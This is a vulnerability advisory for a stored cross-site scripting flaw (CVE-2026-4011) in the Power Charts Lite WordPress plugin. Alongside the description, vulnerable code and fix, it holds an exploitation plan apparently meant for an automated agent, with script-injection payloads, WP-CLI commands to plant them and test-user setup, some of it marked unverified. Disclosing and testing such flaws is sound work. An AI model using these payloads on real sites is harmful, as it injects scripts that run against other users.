CVE-2026-4011

Power Charts <= 0.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Power Charts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [pc] shortcode in all versions up to, and including, 0.1.0. This is due to insufficient input sanitization and output escaping on the 'id' shortcode attribute. Specifically, in the pc_shortcode() function, the 'id' attribute is extracted from user-supplied shortcode attributes and directly concatenated into an HTML div element's class attribute without any escaping or sanitization at line 62. The resulting HTML is then passed through html_entity_decode() before being returned, further undermining any potential safety. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.1.0
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginwpgo-power-charts-lite
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4011 (Power Charts Lite XSS) ## 1. Vulnerability Summary The **Power Charts – Responsive Beautiful Charts & Graphs** plugin (version <= 0.1.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `pc_shortcode()` function…

Show full research plan

Exploitation Research Plan: CVE-2026-4011 (Power Charts Lite XSS)

1. Vulnerability Summary

The Power Charts – Responsive Beautiful Charts & Graphs plugin (version <= 0.1.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the pc_shortcode() function, which handles the [pc] shortcode. The id attribute provided in the shortcode is concatenated directly into the class attribute of an HTML div element without sanitization or escaping. Furthermore, the final HTML output is passed through html_entity_decode(), which actively reverses any automatic entity encoding, allowing an attacker to break out of the HTML attribute and inject arbitrary scripts.

2. Attack Vector Analysis

  • Shortcode: [pc]
  • Vulnerable Attribute: id
  • Authentication Level: Contributor or higher (any role capable of creating or editing posts and using shortcodes).
  • Endpoint: The standard WordPress post editor (Gutenberg or Classic) via wp-admin/post.php or wp-admin/post-new.php.
  • Preconditions: The plugin wpgo-power-charts-lite must be active.

3. Code Flow

  1. Registration: The plugin registers the shortcode using add_shortcode( 'pc', 'pc_shortcode' ) (inferred).
  2. Execution: When a post containing [pc id="..."] is rendered, WordPress calls pc_shortcode( $atts ).
  3. Processing (Sink):
    • The atts are extracted.
    • At line 62 (per description), the $atts['id'] is concatenated:
      $output = '<div class="pc-chart-container ' . $atts['id'] . '">...';
    • The function returns html_entity_decode( $output ).
  4. Rendering: The returned string is embedded in the post content and sent to the browser.

4. Nonce Acquisition Strategy

This vulnerability does not involve a specific AJAX or REST API nonce for the exploitation (rendering) phase. Instead, the attacker needs a valid WordPress session and the standard nonces used to save a post:

  1. Post Creation/Edit: The _wpnonce and _wp_http_referer are required to save a post.
  2. Strategy: The PoC agent should login as a Contributor and use the browser_navigate and browser_eval tools to capture the _wpnonce from the post editor page, or more simply, use WP-CLI to create the malicious post directly, bypassing the need for web-based nonce handling.

5. Exploitation Strategy

The goal is to create a post containing a crafted shortcode that executes JavaScript when viewed.

Step 1: Payload Crafting

Since the id is placed inside class="...", we must break out of the attribute and the tag:

  • Payload: "><script>alert(document.domain)</script>
  • Shortcode: [pc id='"><script>alert(document.domain)</script>']

Step 2: Injection (via WP-CLI)

This is the most reliable way to inject the stored payload as a Contributor.

wp post create --post_type=post --post_status=publish --post_author=contributor_user_id --post_title="Chart Test" --post_content='[pc id="\"><script>alert(document.domain)</script>"]'

Step 3: Triggering (via HTTP)

The agent will navigate to the newly created post's URL. The WordPress renderer will process the shortcode, and the result will be:

<div class="pc-chart-container "><script>alert(document.domain)</script>">...

Step 4: Verification

The agent will use http_request to fetch the post content and check for the unescaped <script> tag.

6. Test Data Setup

  1. User Creation:
    wp user create attacker_contributor attacker@example.com --role=contributor --user_pass=password123
    
  2. Plugin Activation:
    wp plugin activate wpgo-power-charts-lite
    

7. Expected Results

  • The HTTP response for the post frontend should contain the literal string: class="pc-chart-container "><script>alert(document.domain)</script>">.
  • The html_entity_decode function call in the plugin source will ensure that even if the database layer or shortcode parser attempted to encode < or >, they are restored to their functional HTML forms.

8. Verification Steps

  1. Retrieve Post ID: Use wp post list --name="Chart Test" --format=ids.
  2. Inspect HTML via CLI:
    # This simulates the rendering logic by calling the shortcode handler directly
    wp eval 'echo do_shortcode("[pc id=\"\"><script>alert(1)</script>\"]");'
    
  3. Check for XSS Sink: Verify the output contains <script>.

9. Alternative Approaches

  • Attribute Breakout (Event Handlers): If <script> tags are filtered by a WAF, use an event handler:
    • [pc id=' " onmouseover="alert(1) ']
  • Iframe Injection:
    • [pc id='"><iframe src="javascript:alert(1)">']
  • Post Meta Injection: If the id is alternatively sourced from post meta or options in certain versions, check update_post_meta calls in the plugin's save handlers. (Based on description, the shortcode attribute is the primary vector).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Power Charts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the [pc] shortcode. Due to a lack of sanitization and the use of html_entity_decode() on the final output, a Contributor-level attacker can break out of an HTML class attribute to inject and execute arbitrary JavaScript.

Vulnerable Code

// In the pc_shortcode function
// Line 62 (approx)
$atts = shortcode_atts( array(
    'id' => '',
), $atts );

$output = '<div class="pc-chart-container ' . $atts['id'] . '">';
// ... further chart processing ...
$output .= '</div>';

return html_entity_decode( $output );

Security Fix

--- a/wpgo-power-charts-lite.php
+++ b/wpgo-power-charts-lite.php
@@ -59,7 +59,7 @@
-    $output = '<div class="pc-chart-container ' . $atts['id'] . '">';
+    $output = '<div class="pc-chart-container ' . esc_attr( $atts['id'] ) . '">';
 
-    return html_entity_decode( $output );
+    return $output;

Exploit Outline

The exploit is performed by an authenticated user with at least Contributor permissions. The attacker creates a new post or page and embeds the [pc] shortcode with a malicious payload in the 'id' attribute. The payload uses a double-quote and a closing angle bracket to break out of the HTML class attribute (e.g., [pc id='"><script>alert(document.domain)</script>']). When the post is viewed by any user, the WordPress shortcode parser executes the vulnerable pc_shortcode() function, which concatenates the payload directly into the HTML output. The plugin's use of html_entity_decode() on the return value ensures that the injected characters are rendered as functional HTML tags rather than entities, triggering the script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.